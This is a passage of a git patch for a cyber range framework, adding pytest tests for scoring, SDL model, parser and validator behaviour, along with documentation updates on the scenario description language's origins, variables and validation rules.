tests -# --------------------------------------------------------------------------- - - -def test_hint_penalty_level_1(simple_objectives): - """Level 1 hint penalizes only that hint's penalty.""" - scenario = _make_scenario(objectives_red=simple_objectives) - score = compute_score(scenario, ["obj-a"], {"obj-a": 1}, 0) - # 100 base - 10 penalty for level 1 - assert score.objective_scores[0].hint_penalty == 10 - assert score.objective_scores[0].earned == 90 - assert score.total_score == 90 - - -def test_hint_penalty_level_2(simple_objectives): - """Level 2 hint includes penalties for level 1 and 2.""" - scenario = _make_scenario(objectives_red=simple_objectives) - score = compute_score(scenario, ["obj-a"], {"obj-a": 2}, 0) - # 100 base - 10 (lvl 1) - 25 (lvl 2) = 65 - assert score.objective_scores[0].hint_penalty == 35 - assert score.objective_scores[0].earned == 65 - - -def test_hint_penalty_on_incomplete_objective(simple_objectives): - """Hint penalty on incomplete objective doesn't subtract (earned=0).""" - scenario = _make_scenario(objectives_red=simple_objectives) - score = compute_score(scenario, [], {"obj-a": 2}, 0) - assert score.objective_scores[0].earned == 0 - # But penalties are still counted in total - assert score.hint_penalties == 35 - - -def test_hint_penalty_capped_at_zero(simple_objectives): - """Score per objective never goes below 0.""" - obj = Objective( - id="low-pts", - description="Low points", - type=ObjectiveType.MANUAL, - points=5, - hints=[Hint(level=1, text="Big hint", point_penalty=100)], - ) - scenario = _make_scenario(objectives_red=[obj]) - score = compute_score(scenario, ["low-pts"], {"low-pts": 1}, 0) - assert score.objective_scores[0].earned == 0 # max(0, 5-100) - - -# --------------------------------------------------------------------------- -# Time bonus tests -# --------------------------------------------------------------------------- - - -def test_time_bonus_full(): - """Full bonus awarded when completed before decay starts.""" - obj = Objective( - id="obj-a", description="Test", type=ObjectiveType.MANUAL, points=100 - ) - scenario = _make_scenario( - objectives_red=[obj], - scoring=ScoringConfig( - time_bonus=TimeBonusConfig( - enabled=True, max_bonus=50, decay_after_minutes=10 - ), - max_score=150, - ), - estimated_minutes=30, - ) - score = compute_score(scenario, ["obj-a"], {}, elapsed_seconds=300) # 5 min - assert score.time_bonus == 50 - assert score.total_score == 150 - - -def test_time_bonus_partial_decay(): - """Partial bonus during decay window.""" - obj = Objective( - id="obj-a", description="Test", type=ObjectiveType.MANUAL, points=100 - ) - scenario = _make_scenario( - objectives_red=[obj], - scoring=ScoringConfig( - time_bonus=TimeBonusConfig( - enabled=True, max_bonus=50, decay_after_minutes=10 - ), - max_score=200, - ), - estimated_minutes=30, - ) - # 20 minutes = 10 min in decay window. Decay window = 30-10 = 20 min total. - # 10/20 = 0.5 remaining => 50 * 0.5 = 25 - score = compute_score(scenario, ["obj-a"], {}, elapsed_seconds=1200) - assert score.time_bonus == 25 - - -def test_time_bonus_zero_after_timeout(): - """No bonus after estimated time expires.""" - obj = Objective( - id="obj-a", description="Test", type=ObjectiveType.MANUAL, points=100 - ) - scenario = _make_scenario( - objectives_red=[obj], - scoring=ScoringConfig( - time_bonus=TimeBonusConfig( - enabled=True, max_bonus=50, decay_after_minutes=10 - ), - max_score=150, - ), - estimated_minutes=30, - ) - score = compute_score(scenario, ["obj-a"], {}, elapsed_seconds=1800) # 30 min - assert score.time_bonus == 0 - assert score.total_score == 100 - - -def test_time_bonus_disabled(): - """No bonus when time_bonus is disabled.""" - obj = Objective( - id="obj-a", description="Test", type=ObjectiveType.MANUAL, points=100 - ) - scenario = _make_scenario( - objectives_red=[obj], - scoring=ScoringConfig( - time_bonus=TimeBonusConfig(enabled=False, max_bonus=50), - ), - ) - score = compute_score(scenario, ["obj-a"], {}, elapsed_seconds=60) - assert score.time_bonus == 0 - - -# --------------------------------------------------------------------------- -# Pass/fail threshold tests -# --------------------------------------------------------------------------- - - -def test_passing_score_met(): - """Passes when total meets or exceeds passing_score.""" - obj = Objective( - id="obj-a", description="Test", type=ObjectiveType.MANUAL, points=100 - ) - scenario = _make_scenario( - objectives_red=[obj], - scoring=ScoringConfig(passing_score=100, max_score=100), - ) - score = compute_score(scenario, ["obj-a"], {}, 0) - assert score.passed is True - - -def test_passing_score_not_met(): - """Fails when total is below passing_score.""" - obj = Objective( - id="obj-a", description="Test", type=ObjectiveType.MANUAL, points=50 - ) - scenario = _make_scenario( - objectives_red=[obj], - scoring=ScoringConfig(passing_score=100, max_score=100), - ) - score = compute_score(scenario, ["obj-a"], {}, 0) - assert score.passed is False - - -def test_zero_passing_score_always_passes(): - """Zero passing score means any result passes.""" - obj = Objective( - id="obj-a", description="Test", type=ObjectiveType.MANUAL, points=100 - ) - scenario = _make_scenario( - objectives_red=[obj], - scoring=ScoringConfig(passing_score=0, max_score=100), - ) - score = compute_score(scenario, [], {}, 0) - assert score.passed is True - - -# --------------------------------------------------------------------------- -# Score report structure -# --------------------------------------------------------------------------- - - -def test_score_report_structure(simple_objectives): - """Score report contains per-objective breakdowns.""" - scenario = _make_scenario( - objectives_red=simple_objectives, - scoring=ScoringConfig(passing_score=50, max_score=150), - ) - score = compute_score(scenario, ["obj-a"], {"obj-b": 1}, 0) - - assert len(score.objective_scores) == 2 - assert score.objective_scores[0].objective_id == "obj-a" - assert score.objective_scores[0].completed is True - assert score.objective_scores[1].objective_id == "obj-b" - assert score.objective_scores[1].completed is False - assert score.max_score == 150 - assert score.passing_score == 50 diff --git a/tests/test_sdl_models.py b/tests/test_sdl_models.py index 4051a4e96..f7f51a7fe 100644 --- a/tests/test_sdl_models.py +++ b/tests/test_sdl_models.py @@ -85,6 +85,24 @@ def test_switch_rejects_resources(self): with pytest.raises(ValidationError, match="Switch.*resources"): Node(type="switch", resources={"ram": "1 gib", "cpu": 1}) + @pytest.mark.parametrize( + ("field_name", "value"), + [ + ("os", "linux"), + ("os_version", "22.04"), + ("features", {"nginx": ""}), + ("conditions", {"health-check": ""}), + ("injects", {"email": ""}), + ("vulnerabilities", ["sqli"]), + ("roles", {"admin": {"username": "root"}}), + ("services", [{"port": 80, "name": "http"}]), + ("asset_value", {"confidentiality": "high"}), + ], + ) + def test_switch_rejects_other_vm_only_fields(self, field_name, value): + with pytest.raises(ValidationError, match=field_name): + Node(type="switch", **{field_name: value}) + class TestRole: def test_basic_role(self): @@ -574,6 +592,8 @@ def test_initial_knowledge_defaults(self): ik = InitialKnowledge() assert ik.hosts == [] assert ik.subnets == [] + assert ik.services == [] + assert ik.accounts == [] class TestVariable: @@ -597,3 +617,19 @@ def test_required_variable(self): def test_boolean_variable(self): v = Variable(type="boolean", default=True) assert v.type == VariableType.BOOLEAN + + def test_rejects_default_with_wrong_type(self): + with pytest.raises(ValidationError, match="default must match"): + Variable(type="integer", default="five") + + def test_rejects_allowed_values_with_wrong_type(self): + with pytest.raises(ValidationError, match="allowed_values must match"): + Variable(type="boolean", allowed_values=[True, "false"]) + + def test_rejects_default_outside_allowed_values(self): + with pytest.raises(ValidationError, match="default must be one of allowed_values"): + Variable(type="string", default="critical", allowed_values=["low", "medium", "high"]) + + def test_number_variable_accepts_int_and_float_allowed_values(self): + v = Variable(type="number", default=1.5, allowed_values=[1, 1.5, 2.0]) + assert v.default == 1.5 diff --git a/tests/test_sdl_parser.py b/tests/test_sdl_parser.py index 1f4e482e8..e1fc7bfd2 100644 --- a/tests/test_sdl_parser.py +++ b/tests/test_sdl_parser.py @@ -126,6 +126,20 @@ def test_ocr_format(self): s = parse_sdl("name: test\nnodes:\n sw:\n type: switch") assert s.name == "test" + def test_switch_rejects_vm_only_fields(self): + sdl = """ +name: test +nodes: + sw: + type: switch + os: linux + services: + - port: 80 + name: http +""" + with pytest.raises(SDLParseError, match="Switch nodes cannot have VM-only fields"): + parse_sdl(sdl) + class TestErrorHandling: def test_empty_content(self): diff --git a/tests/test_sdl_validator.py b/tests/test_sdl_validator.py index 64f31d0c8..03875af0e 100644 --- a/tests/test_sdl_validator.py +++ b/tests/test_sdl_validator.py @@ -407,10 +407,45 @@ def test_undefined_initial_knowledge_host(self): errors = _validate(s) assert any("not in nodes" in e for e in errors) + def test_undefined_initial_knowledge_service(self): + s = _make_scenario( + nodes={ + "vm": { + "type": "vm", + "resources": {"ram": "1 gib", "cpu": 1}, + "services": [{"port": 22, "name": "ssh"}], + } + }, + entities={"red": {"role": "red"}}, + agents={"a1": { + "entity": "red", + "initial_knowledge": {"services": ["ghost-service"]}, + }}, + ) + errors = _validate(s) + assert any("not in node service names" in e for e in errors) + + def test_undefined_initial_knowledge_account(self): + s = _make_scenario( + nodes={"vm": {"type": "vm", "resources": {"ram": "1 gib", "cpu": 1}}}, + entities={"red": {"role": "red"}}, + accounts={"known-user": {"username": "user", "node": "vm"}}, + agents={"a1": { + "entity": "red", + "initial_knowledge": {"accounts": ["ghost-account"]}, + }}, + ) + errors = _validate(s) + assert any("initial_knowledge account" in e for e in errors) + def test_valid_agent(self): s = _make_scenario( nodes={ - "vm": {"type": "vm", "resources": {"ram": "1 gib", "cpu": 1}}, + "vm": { + "type": "vm", + "resources": {"ram": "1 gib", "cpu": 1}, + "services": [{"port": 22, "name": "ssh"}], + }, "net": {"type": "switch"}, }, infrastructure={"net": {"count": 1, "properties": {"cidr": "10.0.0.0/24", "gateway": "10.0.0.1"}}}, @@ -421,7 +456,12 @@ def test_valid_agent(self): "actions": ["scan", "exploit"], "starting_accounts": ["hacker"], "allowed_subnets": ["net"], - "initial_knowledge": {"hosts": ["vm"], "subnets": ["net"]}, + "initial_knowledge": { + "hosts": ["vm"], + "subnets": ["net"], + "services": ["ssh"], + "accounts": ["hacker"], + }, }}, ) errors = _validate(s) diff --git a/tests/test_session.py b/tests/test_session.py index 9c1029585..b0c6968c2 100644 --- a/tests/test_session.py +++ b/tests/test_session.py @@ -17,27 +17,8 @@ def _make_scenario_def(scenario_id: str = "test-scenario"): - """Create a minimal ScenarioDefinition for testing.""" - from aptl.core.scenarios import ScenarioDefinition - - return ScenarioDefinition( - metadata={ - "id": scenario_id, - "name": "Test Scenario", - "description": "A test scenario", - "difficulty": "beginner", - "estimated_minutes": 10, - }, - mode="red", - containers={"required": ["kali"]}, - objectives={ - "red": [ - {"id": "obj-a", "description": "Do A", "type": "manual", "points": 50}, - {"id": "obj-b", "description": "Do B", "type": "manual", "points": 50}, - ], - "blue": [], - }, - ) + """Return a scenario ID for testing session lifecycle behavior.""" + return scenario_id # --------------------------------------------------------------------------- From 435be07439761df8c54c284654a23601f3186990 Mon Sep 17 00:00:00 2001 From: Brad Edwards Date: Sun, 29 Mar 2026 13:15:48 -0700 Subject: [PATCH 10/15] Improve SDL validation, handle invalid durations, update docs and tests --- .../adr-014-scenario-description-language.md | 10 +- docs/sdl/index.md | 2 +- docs/sdl/limitations.md | 9 +- docs/sdl/parser.md | 28 +- docs/sdl/precedents.md | 135 +++---- docs/sdl/sections.md | 27 +- docs/sdl/testing.md | 1 + docs/sdl/validation.md | 18 +- src/aptl/core/sdl/_base.py | 96 ++++- src/aptl/core/sdl/accounts.py | 9 +- src/aptl/core/sdl/conditions.py | 29 +- src/aptl/core/sdl/content.py | 9 +- src/aptl/core/sdl/entities.py | 1 + src/aptl/core/sdl/infrastructure.py | 48 ++- src/aptl/core/sdl/nodes.py | 43 ++- src/aptl/core/sdl/orchestration.py | 193 +++++++--- src/aptl/core/sdl/parser.py | 6 +- src/aptl/core/sdl/scoring.py | 40 ++- src/aptl/core/sdl/validator.py | 308 ++++++++++++++-- src/aptl/core/sdl/vulnerabilities.py | 9 +- tests/test_sdl_models.py | 122 +++++++ tests/test_sdl_parser.py | 97 +++++ tests/test_sdl_validator.py | 334 ++++++++++++++++++ 23 files changed, 1358 insertions(+), 216 deletions(-) diff --git a/docs/adrs/adr-014-scenario-description-language.md b/docs/adrs/adr-014-scenario-description-language.md index 5a94048d8..355808f15 100644 --- a/docs/adrs/adr-014-scenario-description-language.md +++ b/docs/adrs/adr-014-scenario-description-language.md @@ -14,7 +14,7 @@ However, the OCR SDL lacks: data/content modeling, user accounts, network access ## Decision -Port the OCR SDL to Python/Pydantic as `aptl.core.sdl`, extend it with 5 new sections adapted from existing systems (not invented), and decouple it from any specific deployment backend. +Use the OCR SDL as the starting surface for `aptl.core.sdl`, preserve coverage across the OCR-derived sections, extend that base with 5 new sections adapted from existing systems (not invented), and decouple the language from any specific deployment backend. ### Architecture @@ -22,7 +22,7 @@ The SDL is a **specification language**, not a deployment tool. It describes *wh ### Sections (19 total) -14 from OCR (direct port) + 5 new: +14 OCR-derived base sections + 5 new: - `content` (from CyRIS) — data placed into systems - `accounts` (from CyRIS) — user accounts within nodes - `relationships` (from STIX SRO) — typed edges between elements @@ -42,7 +42,7 @@ This is simpler and more composable than a dedicated identity layer. Two-phase validation: 1. **Structural** (Pydantic) — types, ranges, required fields, intra-model constraints -2. **Semantic** (SemanticValidator) — 20 named passes checking cross-references, dependency cycles, IP/CIDR consistency, and SDL domain rules +2. **Semantic** (SemanticValidator) — 20 named passes checking cross-references, dependency cycles, IP/CIDR consistency, typed VM/network references, OCR count constraints, and SDL domain rules The validator collects all errors rather than failing on the first. @@ -69,13 +69,13 @@ None by design. This branch establishes an SDL-only boundary: - **1,050+ fuzz test inputs** with zero unhandled crashes - Every SDL element traces to a published precedent - Backend-agnostic: no Docker, OpenStack, or cloud provider coupling -- Full OCR SDL compatibility preserved +- The OCR-derived coverage gaps identified in branch review were closed: entity facts and orchestration time grammar now align with the verified OCR surface - One clear specification surface for follow-on provisioner/runtime work ### Negative - 24 source files in `aptl.core.sdl/` — significant surface area -- Variables (`${var}`) not resolved at parse time, limiting validator coverage +- Variables (`${var}`) are still unresolved at parse time; existence is checked, but backend substitution semantics remain future work - Existing APTL scenario YAMLs require migration to SDL format - No module composition system yet (Terraform-style imports) - No formal verification (VSDL's SMT / CRACK's Datalog) diff --git a/docs/sdl/index.md b/docs/sdl/index.md index c8533c934..aa5c155b1 100644 --- a/docs/sdl/index.md +++ b/docs/sdl/index.md @@ -1,6 +1,6 @@ # Scenario Description Language (SDL) Reference -The APTL SDL is a YAML-based specification language for describing cyber range scenarios. It is ported from the [Open Cyber Range SDL](https://github.com/Open-Cyber-Range/SDL-parser) and extended with APTL-specific concepts for attack/defense exercises, automated scoring, and agent-driven operations. +The APTL SDL is a YAML-based specification language for describing cyber range scenarios. It starts from the [Open Cyber Range SDL](https://github.com/Open-Cyber-Range/SDL-parser) surface, preserves coverage across the OCR-derived sections, and extends that base with APTL's additional scenario concepts such as content, accounts, relationships, agents, and variables. It is intentionally its own SDL rather than a clone-level compatibility layer. The SDL describes *what a scenario is* — not how to deploy it. A separate backend binding layer (not yet implemented) translates SDL specifications into concrete infrastructure (Docker Compose, Terraform, cloud APIs). diff --git a/docs/sdl/limitations.md b/docs/sdl/limitations.md index 7be59e674..937c8638a 100644 --- a/docs/sdl/limitations.md +++ b/docs/sdl/limitations.md @@ -38,11 +38,12 @@ These are things that *should* be expressible in the SDL but aren't yet: Variables (`${var_name}`) are stored as literal strings in the model. They are **not** resolved at parse time. This means: -- The validator cannot check whether a `${var}` reference has a matching variable definition -- Type checking of variable values is deferred to instantiation -- Default value semantics are not enforced at parse time +- The validator can confirm that a full-value `${var}` reference has a matching variable definition +- Cross-reference rules that depend on a placeholder's final concrete value are deferred to instantiation +- Enum-backed fields and user-defined mapping keys are not yet parameterizable +- Type checking of the substituted runtime value is still the instantiating backend's responsibility -This is a deliberate design choice (matching CACAO's model) but limits what the validator can catch. +This is a deliberate design choice (matching CACAO's model) but it still leaves backend substitution semantics as future work. ## What Has Been Validated diff --git a/docs/sdl/parser.md b/docs/sdl/parser.md index 6a15224a0..16692ddf4 100644 --- a/docs/sdl/parser.md +++ b/docs/sdl/parser.md @@ -10,7 +10,7 @@ YAML field keys (Pydantic struct fields) are normalized to lowercase with hyphen - `Min-Score` → `min_score` - `start-time` → `start_time` -**User-defined names are preserved as-is.** Node names, feature names, account names, and other HashMap keys are not transformed. This ensures cross-references remain consistent. +**User-defined names are preserved as-is.** Node names, feature names, account names, entity fact keys, and other HashMap keys are not transformed. This ensures cross-references remain consistent. ```yaml # "My-Switch" is preserved, "Type" is normalized to "type" @@ -33,6 +33,30 @@ Several shorthand forms are expanded before model construction: Source expansion is skipped inside `relationships` and `agents` sections where `source` is a plain string reference, not a package Source. +Shorthand expansion also works when the shorthand value is a full variable placeholder. For example, `infrastructure: {web: ${replicas}}` expands to `infrastructure: {web: {count: ${replicas}}}`, and `min-score: ${pass_pct}` expands to `min-score: {percentage: ${pass_pct}}`. + +## Variables + +Full-value `${var_name}` placeholders are preserved as literal strings during parsing. Structural validation currently accepts placeholders in ordinary string fields, common scalar/time fields, and many reference values. The parser does not substitute variables, evaluate expressions, or allow placeholders as user-defined mapping keys. + +## OCR Duration Grammar + +Script and event times accept the documented OCR time units: + +- `y`, `year` +- `mon`, `month` +- `w`, `week` +- `d`, `day` +- `h`, `hour` +- `m`, `min`, `minute` +- `s`, `sec`, `second` +- `ms`, `us`/`µs`, `ns` + +Durations may be written with spaces or `+` separators, such as `1h 30min` +or `1m+30`. Sub-second values are rounded up to whole seconds, so `1 ms` +parses as `1`. Negative numeric durations are rejected rather than silently +coerced. + ## Format Boundary The parser accepts one format: @@ -47,7 +71,7 @@ Legacy APTL scenario YAMLs with a `metadata` block are intentionally rejected in 2. **Key normalization** — lowercase field keys, preserve user names 3. **Shorthand expansion** — source, infrastructure, roles, min-score, feature lists 4. **Pydantic construction** — structural validation (types, ranges, required fields) -5. **Semantic validation** — cross-reference checks (20 passes, see [validation.md](validation.md)) +5. **Semantic validation** — cross-reference checks plus variable-reference checks (20 passes, see [validation.md](validation.md)) ## API diff --git a/docs/sdl/precedents.md b/docs/sdl/precedents.md index a9eebd7f8..f09311a4b 100644 --- a/docs/sdl/precedents.md +++ b/docs/sdl/precedents.md @@ -4,91 +4,108 @@ Every SDL element is adapted from an existing system or standard. This document ## Core Structure (from Open Cyber Range SDL) -The 14 base sections are a direct port of the [OCR SDL](https://github.com/Open-Cyber-Range/SDL-parser) v0.21.2 from Rust to Python/Pydantic. The OCR SDL was developed by the Norwegian Cyber Range (CR14/NTNU). - -| SDL Element | OCR Source | Changes | -|-------------|-----------|---------| -| Scenario | `Scenario` struct | Added APTL extension fields | -| Node (VM/Switch) | `Node`, `VM`, `Switch` | Added `os`, `os_version`, `services`, `asset_value` | -| Resources | `Resources` | Human-readable RAM parsing via Python | -| Role | `Role` | Direct port | -| InfraNode | `InfraNode` | Added `acls`, `internal` flag | -| Feature | `Feature` | Direct port | -| Condition | `Condition` | Added `timeout`, `retries`, `start_period` | -| Vulnerability | `Vulnerability` | Direct port | -| Metric/Evaluation/TLO/Goal | OCR scoring pipeline | Direct port | -| Entity | `Entity` (recursive) | Direct port | -| Inject/Event/Script/Story | OCR orchestration | Direct port | -| Source | `Source` (name + version) | Made provider-neutral | +The 14 base sections start from the [OCR SDL](https://github.com/Open-Cyber-Range/SDL-parser) v0.21.2 surface and are adapted into Python/Pydantic. This branch aims for coverage parity across the adopted OCR concepts while remaining its own SDL; when behavior diverges or OCR's own sources disagree, this document states branch behavior explicitly instead of making clone-level compatibility claims. The OCR SDL was developed by the Norwegian Cyber Range (CR14/NTNU). + + +| SDL Element | OCR Source | Changes | +| -------------------------- | ------------------------- | --------------------------------------------------- | +| Scenario | `Scenario` struct | Added APTL extension fields | +| Node (VM/Switch) | `Node`, `VM`, `Switch` | Added `os`, `os_version`, `services`, `asset_value` | +| Resources | `Resources` | Human-readable RAM parsing via Python | +| Role | `Role` | Direct port | +| InfraNode | `InfraNode` | Added `acls`, `internal` flag | +| Feature | `Feature` | Direct port | +| Condition | `Condition` | Added `timeout`, `retries`, `start_period` | +| Vulnerability | `Vulnerability` | Direct port | +| Metric/Evaluation/TLO/Goal | OCR scoring pipeline | Direct port | +| Entity | `Entity` + OCR entity surface | Direct port, including OCR fact maps | +| Inject/Event/Script/Story | OCR orchestration | Direct port | +| Source | `Source` (name + version) | Made provider-neutral | + ## Extensions by Source ### From CybORG CAGE Challenge -| SDL Element | CybORG Source | What We Adapted | -|-------------|--------------|-----------------| -| `Agent` | `Agents:` section (Scenario YAML) | Actions, starting sessions, reward calculator | -| `InitialKnowledge` | `INT:` (Initial Network Topology) | Known hosts and subnets at start | -| `Agent.allowed_subnets` | `AllowedSubnets:` | Network scope constraints | -| `AssetValue` | `ConfidentialityValue`, `AvailabilityValue` | Extended to CIA triad | -| `ACLRule` | `Subnets.NACLs` | Simplified from nested dict to flat rule list | + +| SDL Element | CybORG Source | What We Adapted | +| ----------------------- | ------------------------------------------- | --------------------------------------------- | +| `Agent` | `Agents:` section (Scenario YAML) | Actions, starting sessions, reward calculator | +| `InitialKnowledge` | `INT:` (Initial Network Topology) | Known hosts and subnets at start | +| `Agent.allowed_subnets` | `AllowedSubnets:` | Network scope constraints | +| `AssetValue` | `ConfidentialityValue`, `AvailabilityValue` | Extended to CIA triad | +| `ACLRule` | `Subnets.NACLs` | Simplified from nested dict to flat rule list | + ### From CyRIS -| SDL Element | CyRIS Source | What We Adapted | -|-------------|-------------|-----------------| -| `Content` | `copy_content`, `emulate_traffic_capture` | Generalized to file/dataset/directory types | -| `Account` | `add_account`, `modify_account` | Added groups, password_strength, SPN, auth_method | + +| SDL Element | CyRIS Source | What We Adapted | +| ----------- | ----------------------------------------- | ------------------------------------------------- | +| `Content` | `copy_content`, `emulate_traffic_capture` | Generalized to file/dataset/directory types | +| `Account` | `add_account`, `modify_account` | Added groups, password_strength, SPN, auth_method | + ### From CALDERA / Atomic Red Team -| SDL Element | Source | What We Adapted | -|-------------|--------|-----------------| -| `PlatformCommand` | CALDERA `platforms.{os}.{shell}.command` | Per-OS command variants | -| `PlatformCommand.cleanup` | Atomic Red Team `cleanup_command` | Teardown action per platform | + +| SDL Element | Source | What We Adapted | +| ------------------------- | ---------------------------------------- | ---------------------------- | +| `PlatformCommand` | CALDERA `platforms.{os}.{shell}.command` | Per-OS command variants | +| `PlatformCommand.cleanup` | Atomic Red Team `cleanup_command` | Teardown action per platform | + ### From STIX 2.1 -| SDL Element | STIX Source | What We Adapted | -|-------------|-----------|-----------------| -| `Relationship` | Relationship SRO (typed directed edges) | Simplified to 7 relationship types | -| Cross-reference validation | STIX object referencing model | Source/target resolve to any named element | + +| SDL Element | STIX Source | What We Adapted | +| -------------------------- | --------------------------------------- | ------------------------------------------ | +| `Relationship` | Relationship SRO (typed directed edges) | Simplified to 7 relationship types | +| Cross-reference validation | STIX object referencing model | Source/target resolve to any named element | + ### From CACAO v2.0 -| SDL Element | CACAO Source | What We Adapted | -|-------------|-------------|-----------------| -| `Variable` | `playbook_variables` | Types, defaults, allowed_values | -| `${var}` substitution | CACAO variable substitution syntax | Deferred to instantiation time | + +| SDL Element | CACAO Source | What We Adapted | +| --------------------- | ---------------------------------- | ------------------------------- | +| `Variable` | `playbook_variables` | Types, defaults, allowed_values | +| `${var}` substitution | CACAO variable substitution syntax | Deferred to instantiation time | + ### From OCSF -| SDL Element | OCSF Source | What We Adapted | -|-------------|-----------|-----------------| -| `OSFamily` enum | `Device.os.type_id` | Vocabulary for OS classification | -| `ServicePort` | `NetworkEndpoint` | Simplified port/protocol/name | + +| SDL Element | OCSF Source | What We Adapted | +| ------------------- | ----------------------------- | --------------------------------------------- | +| `OSFamily` enum | `Device.os.type_id` | Vocabulary for OS classification | +| `ServicePort` | `NetworkEndpoint` | Simplified port/protocol/name | | `ExpectedDetection` | Detection Finding event class | `product_name`, `severity_id`, `analytic_uid` | + ### From Docker / Deployment Patterns -| SDL Element | Source | What We Adapted | -|-------------|--------|-----------------| -| `SimpleProperties.internal` | Docker Compose `internal: true` | Network egress blocking flag | -| `Condition.timeout/retries/start_period` | Docker health check fields | Direct mapping | + +| SDL Element | Source | What We Adapted | +| ---------------------------------------- | ------------------------------- | ---------------------------- | +| `SimpleProperties.internal` | Docker Compose `internal: true` | Network egress blocking flag | +| `Condition.timeout/retries/start_period` | Docker health check fields | Direct mapping | + ## Deliberate Omissions These were considered and explicitly excluded: -| Concept | Why Excluded | Where It Belongs | -|---------|-------------|-----------------| -| Port mappings (host:container) | Backend-specific deployment detail | Provider binding layer | -| Volume mounts | Backend-specific deployment detail | Provider binding layer | -| Linux capabilities (NET_RAW, SYS_ADMIN) | Backend-specific security config | Provider binding layer | -| Docker Compose profiles | Backend-specific grouping | Provider binding layer | -| Dockerfile/build context | Backend-specific build detail | Provider binding layer | -| Container entrypoints | Backend-specific runtime config | Provider binding layer | -| Gymnasium/PettingZoo API bindings | Framework coupling | Agent runtime layer | -| Terraform module composition | Requires compositional model | Future: module system | -| CACAO workflow steps | Overlaps with OCR stories/scripts | Future: reconciliation needed | -| VSDL SMT verification | Research question | Future: formal methods layer | + +| Concept | Why Excluded | Where It Belongs | +| --------------------------------------- | ---------------------------------- | ----------------------------- | +| Port mappings (host:container) | Backend-specific deployment detail | Provider binding layer | +| Volume mounts | Backend-specific deployment detail | Provider binding layer | +| Linux capabilities (NET_RAW, SYS_ADMIN) | Backend-specific security config | Provider binding layer | +| Docker Compose profiles | Backend-specific grouping | Provider binding layer | +| Dockerfile/build context | Backend-specific build detail | Provider binding layer | +| Container entrypoints | Backend-specific runtime config | Provider binding layer | +| Gymnasium/PettingZoo API bindings | Framework coupling | Agent runtime layer | +| Terraform module composition | Requires compositional model | Future: module system | +| CACAO workflow steps | Overlaps with OCR stories/scripts | Future: reconciliation needed | +| VSDL SMT verification | Research question | Future: formal methods layer | diff --git a/docs/sdl/sections.md b/docs/sdl/sections.md index 41b046197..861ebd577 100644 --- a/docs/sdl/sections.md +++ b/docs/sdl/sections.md @@ -1,6 +1,6 @@ # SDL Sections Reference -A scenario is a YAML document with up to 20 named sections. All sections are optional. The scenario must have either a top-level `name` (OCR-style) or a `metadata` block (APTL-style). +A scenario is a YAML document with a required top-level `name` and up to 19 named sections. Aside from `name`, all sections are optional. ## Section Overview @@ -79,6 +79,8 @@ nodes: **Feature list shorthand:** `features: [nginx, php]` expands to `{nginx: "", php: ""}` (no role binding required). +When `features`, `conditions`, or `injects` use the `{name: role}` form, the role must be declared in the node's `roles` map. + --- ## Infrastructure @@ -113,6 +115,8 @@ infrastructure: **Shorthand:** `web-server: 3` expands to `{count: 3}`. +`links` are switch/network connectivity references, not arbitrary infrastructure edges. If a node has attached `conditions`, its `count` must stay at `1` so the condition-to-node binding remains unambiguous. Per-link IP assignments must be valid IP addresses within the linked switch's CIDR. + --- ## Features @@ -209,7 +213,8 @@ goals: ## Entities -Recursive team/organization hierarchy with exercise roles. +Recursive team/organization hierarchy with exercise roles and OCR-style +fact maps. ```yaml entities: @@ -218,6 +223,9 @@ entities: role: Blue mission: Defend infrastructure tlos: [web-defense] + facts: + department: SOC + primary-shift: nights entities: alice: {name: Alice} bob: {name: Bob} @@ -246,7 +254,7 @@ events: scripts: main-timeline: - start-time: 5 min # human-readable durations + start-time: 5 min # OCR units: y, mon, w, d, h, m/min, s/sec, ms, us, ns end-time: 2 hour speed: 1.0 events: @@ -258,6 +266,9 @@ stories: scripts: [main-timeline] ``` +Sub-second durations are rounded up to the nearest second, so `1 ms`, +`1 us`, and `1 ns` all parse as `1`. + --- ## Content @@ -287,6 +298,8 @@ content: format: sql ``` +`target` must reference a VM node, not a switch/network node. + --- ## Accounts @@ -309,6 +322,8 @@ accounts: mail: "" ``` +`node` must reference a VM node, not a switch/network node. + --- ## Relationships @@ -342,6 +357,8 @@ relationships: Types: `authenticates_with`, `trusts`, `federates_with`, `connects_to`, `depends_on`, `manages`, `replicates_to`. +Relationship endpoints resolve against the scenario's named elements, including top-level section keys, nested entity dot-paths, variables, other relationships, and content item `name` values. + --- ## Agents @@ -363,7 +380,7 @@ agents: reward_calculator: HybridImpactPwn ``` -`initial_knowledge.hosts` references node names, `subnets` references infrastructure names, `services` references service names declared in `nodes.*.services`, and `accounts` references entries in the `accounts` section. +`initial_knowledge.hosts` references VM node names, `subnets` references switch-backed infrastructure names, `services` references service names declared in `nodes.*.services`, and `accounts` references entries in the `accounts` section. `allowed_subnets` follows the same switch-backed infrastructure rule. --- @@ -389,6 +406,8 @@ variables: Variables are referenced as `${var_name}` in other sections. They are **not resolved at parse time** — resolution happens at instantiation. +Full-value placeholders are currently supported in ordinary string fields, common scalar fields (counts, booleans, scores, timings, RAM/CPU, ports), and many reference values. The semantic validator checks that `${var_name}` refers to a declared variable, but substitution still happens later during instantiation. User-defined mapping keys and enum-backed fields still need concrete values today. + `default` and every entry in `allowed_values` must match the declared `type`. If `allowed_values` is provided, `default` must be one of those values. --- diff --git a/docs/sdl/testing.md b/docs/sdl/testing.md index 623ecf45f..858098933 100644 --- a/docs/sdl/testing.md +++ b/docs/sdl/testing.md @@ -10,6 +10,7 @@ pytest tests/test_sdl_models.py tests/test_sdl_validator.py \ ``` Tests structural validation (Pydantic models), semantic validation (cross-reference checks), and parser behavior (normalization, shorthands, SDL-only format boundary). +The unit suites also cover OCR-derived duration grammar, entity fact maps, and `${var}` placeholder handling across supported scalar/reference fields. ### Stress Tests (standard run) diff --git a/docs/sdl/validation.md b/docs/sdl/validation.md index 2ba61298b..22b1b8384 100644 --- a/docs/sdl/validation.md +++ b/docs/sdl/validation.md @@ -8,8 +8,8 @@ The semantic validator (`aptl.core.sdl.validator.SemanticValidator`) runs 20 nam | Pass | What It Checks | |------|----------------| -| `verify_nodes` | Features, conditions, injects, vulnerabilities referenced by nodes exist in their respective sections. Role names on feature/condition/inject assignments match node's roles. Node names ≤ 35 characters. | -| `verify_infrastructure` | Every infrastructure entry has a matching node. Links and dependencies reference existing infrastructure entries. Switch nodes cannot have count > 1. Complex property IPs are within linked node's CIDR. ACL from/to network references exist. | +| `verify_nodes` | Features, conditions, injects, vulnerabilities referenced by nodes exist in their respective sections. Role names on feature/condition/inject assignments must match declared node `roles`. Node names ≤ 35 characters. | +| `verify_infrastructure` | Every infrastructure entry has a matching node. Links reference existing switch/network entries. Dependencies 